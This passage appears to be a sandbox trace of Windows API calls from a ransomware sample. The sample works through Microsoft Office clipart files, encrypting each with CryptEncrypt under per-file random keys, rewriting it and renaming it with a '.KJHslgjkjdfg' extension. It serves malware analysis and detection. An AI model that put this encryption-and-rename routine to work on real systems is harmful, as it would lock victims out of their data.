lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03236_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03236_.wmf.kjhslgjkjdfg")) returned 1 [0207.460] CloseHandle (hObject=0x130) returned 1 [0207.460] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b00e400, ftCreationTime.dwHighDateTime=0x1bd4afa, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2b00e400, ftLastWriteTime.dwHighDateTime=0x1bd4afa, nFileSizeHigh=0x0, nFileSizeLow=0x8b4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE03241_.WMF", cAlternateFileName="")) returned 1 [0207.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03241_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.462] GetProcessHeap () returned 0x990000 [0207.462] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.462] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.462] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.462] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0207.464] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.464] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.464] GetProcessHeap () returned 0x990000 [0207.464] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.464] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.464] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.464] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.464] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.464] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.464] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.464] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.464] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.465] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.465] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.465] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.465] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x8b4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x8b4, lpOverlapped=0x0) returned 1 [0207.465] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8c0, dwBufLen=0x8c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8c0) returned 1 [0207.465] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.465] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x8c0, lpOverlapped=0x0) returned 1 [0207.465] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.465] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x994, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.465] SetEndOfFile (hFile=0x130) returned 1 [0207.466] GetProcessHeap () returned 0x990000 [0207.466] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.466] GetProcessHeap () returned 0x990000 [0207.466] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.466] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03241_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03241_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03241_.wmf.kjhslgjkjdfg")) returned 1 [0207.467] CloseHandle (hObject=0x130) returned 1 [0207.467] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb921ed00, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb921ed00, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x3380, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE03257_.WMF", cAlternateFileName="")) returned 1 [0207.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03257_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03257_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.468] GetProcessHeap () returned 0x990000 [0207.468] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.468] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.468] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.468] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.468] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.468] GetProcessHeap () returned 0x990000 [0207.468] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.468] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.468] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.468] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.472] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.472] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.472] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.472] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.472] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.472] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.472] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.472] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.472] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3380, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3380, lpOverlapped=0x0) returned 1 [0207.473] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3380, dwBufLen=0x3380 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3380) returned 1 [0207.473] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.473] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3380, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3380, lpOverlapped=0x0) returned 1 [0207.473] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.473] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3454, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.473] SetEndOfFile (hFile=0x130) returned 1 [0207.476] GetProcessHeap () returned 0x990000 [0207.476] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.476] GetProcessHeap () returned 0x990000 [0207.476] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.476] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03257_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03257_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03257_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03257_.wmf.kjhslgjkjdfg")) returned 1 [0207.477] CloseHandle (hObject=0x130) returned 1 [0207.477] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31379600, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x31379600, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x692, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE03331_.WMF", cAlternateFileName="")) returned 1 [0207.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03331_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03331_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.478] GetProcessHeap () returned 0x990000 [0207.478] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.478] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.478] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.479] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0207.480] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.480] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.480] GetProcessHeap () returned 0x990000 [0207.481] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.481] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.481] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.481] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.481] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.481] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.481] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.481] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.481] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.481] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.481] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.481] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.481] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x692, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x692, lpOverlapped=0x0) returned 1 [0207.481] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6a0, dwBufLen=0x6a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6a0) returned 1 [0207.481] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.482] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x6a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x6a0, lpOverlapped=0x0) returned 1 [0207.482] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.482] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x774, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.482] SetEndOfFile (hFile=0x130) returned 1 [0207.484] GetProcessHeap () returned 0x990000 [0207.484] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.484] GetProcessHeap () returned 0x990000 [0207.485] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.485] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03331_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03331_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03331_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03331_.wmf.kjhslgjkjdfg")) returned 1 [0207.486] CloseHandle (hObject=0x130) returned 1 [0207.486] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe160cb00, ftCreationTime.dwHighDateTime=0x1bd4af2, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe160cb00, ftLastWriteTime.dwHighDateTime=0x1bd4af2, nFileSizeHigh=0x0, nFileSizeLow=0x282c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE03339_.WMF", cAlternateFileName="")) returned 1 [0207.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03339_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03339_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.486] GetProcessHeap () returned 0x990000 [0207.487] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.487] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.487] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.487] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.488] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.488] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.488] GetProcessHeap () returned 0x990000 [0207.488] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.488] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.489] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.489] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.489] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.489] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.489] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.489] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.489] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.489] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.489] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.489] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.489] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x282c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x282c, lpOverlapped=0x0) returned 1 [0207.490] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2830, dwBufLen=0x2830 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2830) returned 1 [0207.490] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.490] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2830, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2830, lpOverlapped=0x0) returned 1 [0207.490] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.490] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2904, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.490] SetEndOfFile (hFile=0x130) returned 1 [0207.492] GetProcessHeap () returned 0x990000 [0207.492] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.492] GetProcessHeap () returned 0x990000 [0207.492] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.493] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03339_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03339_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03339_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03339_.wmf.kjhslgjkjdfg")) returned 1 [0207.494] CloseHandle (hObject=0x130) returned 1 [0207.494] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2108, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE03451_.WMF", cAlternateFileName="")) returned 1 [0207.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03451_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03451_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.494] GetProcessHeap () returned 0x990000 [0207.494] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.495] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.495] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.495] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 